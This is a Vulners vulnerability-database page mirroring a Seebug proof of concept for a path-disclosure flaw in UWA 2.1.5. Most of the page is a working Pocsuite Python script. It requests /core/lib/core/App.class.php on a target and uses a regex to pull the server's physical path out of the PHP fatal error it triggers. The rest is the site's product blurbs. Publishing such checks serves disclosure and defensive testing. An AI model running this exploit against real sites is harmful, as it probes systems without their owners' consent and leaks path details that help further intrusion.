Lucene search
K

UWA 2.1.5 /core/lib/core/App.class.php 信息泄漏漏洞

🗓️ 14 Apr 2015 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

UWA 2.1.5 /core/lib/core/App.class.php 信息泄漏漏洞 POC by 王畅, 2014-12-1

Code

                                                #!/usr/bin/env python
# coding: utf-8

import re

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '1768'  # vul ID
    version = '1'
    author = ['王畅']
    vulDate = '2014-12-16'
    createDate = '2014-12-26'
    updateDate = '2014-12-26'
    references = ['http://wooyun.org/bugs/wooyun-2014-087255']
    name = 'UWA 2.1.5 /core/lib/core/App.class.php 信息泄漏漏洞 POC'
    appPowerLink = 'http://asthis.net/'
    appName = 'UWA'
    appVersion = '2.1.5'
    vulType = 'Information Disclosure'
    desc = '''
           脚本开始执行时没有判断当前环境,直接访问时,定义新类的基类没有在当前环境中
           PHP爆出错误泄露当前物理路径
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        result = {}

        target_url = '/core/lib/core/App.class.php'
        
        response = req.get(self.url + target_url, headers=self.headers, timeout=10)
        content = response.content
        match = re.findall(
            r"<b>Fatal error</b>:\s+Class 'Pfa' not found in <b>(.*)</b> on line <b>14</b><br\s?/>",
            content
        )
        if match:
            result['VerifyInfo'] = {
                'URL': self.url + target_url,
                'Path': match[0]
            }

        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('Internet Nothing returned')

        return output


register(TestPOC)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Apr 2015 00:00Current
7.1High risk
Vulners AI Score7.1
19